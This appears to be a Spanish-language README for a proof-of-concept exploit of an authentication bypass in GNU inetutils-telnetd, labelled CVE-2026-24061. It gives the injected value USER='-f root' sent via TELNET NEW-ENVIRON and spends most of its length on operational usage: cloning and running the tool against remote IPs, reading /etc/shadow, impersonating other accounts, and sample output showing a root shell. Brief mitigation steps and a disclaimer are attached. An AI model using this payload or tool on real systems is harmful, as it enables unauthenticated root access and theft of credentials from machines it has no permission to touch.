
inetutils-telnetd Bypass de Autenticación - funcional
Un exploit de prueba de concepto para la vulnerabilidad de omisión de autenticación en GNU inetutils-telnetd.
CVE-2026-24061 es una vulnerabilidad crítica de omisión de autenticación que afecta a las versiones 1.9.3 a 2.7 de inetutils-telnetd. Permite que un atacante remoto obtenga una shell de root en sistemas vulnerables sin proporcionar ninguna credencial.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-24061 |
| Software Afectado | GNU inetutils-telnetd |
| Versiones Afectadas | 1.9.3 – 2.7 |
| Tipo de Vulnerabilidad | Omisión de Autenticación |
| Puntuación CVSS | Crítica |
| Vector de Ataque | Red |
La vulnerabilidad explota una falla en la forma en que telnetd maneja la variable de entorno USER recibida a través de la opción TELNET NEW-ENVIRON (RFC 1572) durante la negociación del protocolo.
Negociación del Protocolo TELNET: Cuando un cliente se conecta, el servidor y el cliente negocian capacidades, incluida la opción NEW-ENVIRON, que permite al cliente enviar variables de entorno.
Valor USER Malicioso: El exploit envía USER=-f root como variable de entorno durante esta fase de negociación.
Paso Inseguro de Argumentos: El telnetd vulnerable pasa este valor sin sanitizar al programa login.
Inyección de Comandos: El programa login interpreta -f root como banderas de línea de comandos:
-f = "forzar inicio de sesión sin autenticación"root = el nombre de usuario con el que iniciar sesiónAcceso Root: El atacante obtiene una shell de root sin que se le solicite una contraseña.
Cliente envía: USER = "-f root"
telnetd ejecuta: login -f root
Resultado: Shell de root otorgada sin autenticación
Esto equivale a ejecutar USER='-f root' telnet -a localhost en un sistema con un telnetd vulnerable.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPCIONES] <objetivo>
Shell de root interactiva en localhost:
./exploit.py localhost
Shell de root interactiva en host remoto:
./exploit.py 192.168.1.100
Ejecutar un solo comando y salir:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Iniciar sesión como un usuario diferente:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Puerto no estándar:
./exploit.py -p 2323 localhost
Combinar opciones:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
Cuando se ejecuta sin la bandera -c, el exploit te lleva a una shell interactiva:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - Omisión de Autenticación en inetutils-telnetd ║
║ Afecta: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Conectado a 192.168.1.100:23
[*] Negociando opciones TELNET...
[*] Acordado NEW-ENVIRON (enviando USER='-f root')
[+] Enviado USER='-f root' vía NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
Deshabilitar telnetd: Si no es estrictamente necesario, deshabilita el servicio telnet por completo
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
Usar SSH en su lugar: Reemplaza telnet con SSH para acceso remoto
sudo apt install openssh-server
Reglas de firewall: Bloquea el puerto 23 de redes no confiables
sudo ufw deny 23/tcp
El exploit implementa un cliente TELNET mínimo que:
USER=-f root en la respuesta ENV_ISEsta herramienta se proporciona solo con fines educativos y de pruebas de seguridad autorizadas.
Licencia MIT — Consulta LICENSE para más detalles.
| Opción | Descripción | Predeterminado |
|---|
host | Nombre de host o dirección IP del objetivo | Obligatorio |
-p, --port | Puerto del objetivo | 23 |
-u, --user | Valor USER a inyectar | -f root |
-c, --command | Ejecutar un solo comando (no interactivo) | Ninguno |
-t, --timeout | Tiempo de espera de conexión en segundos | 10 |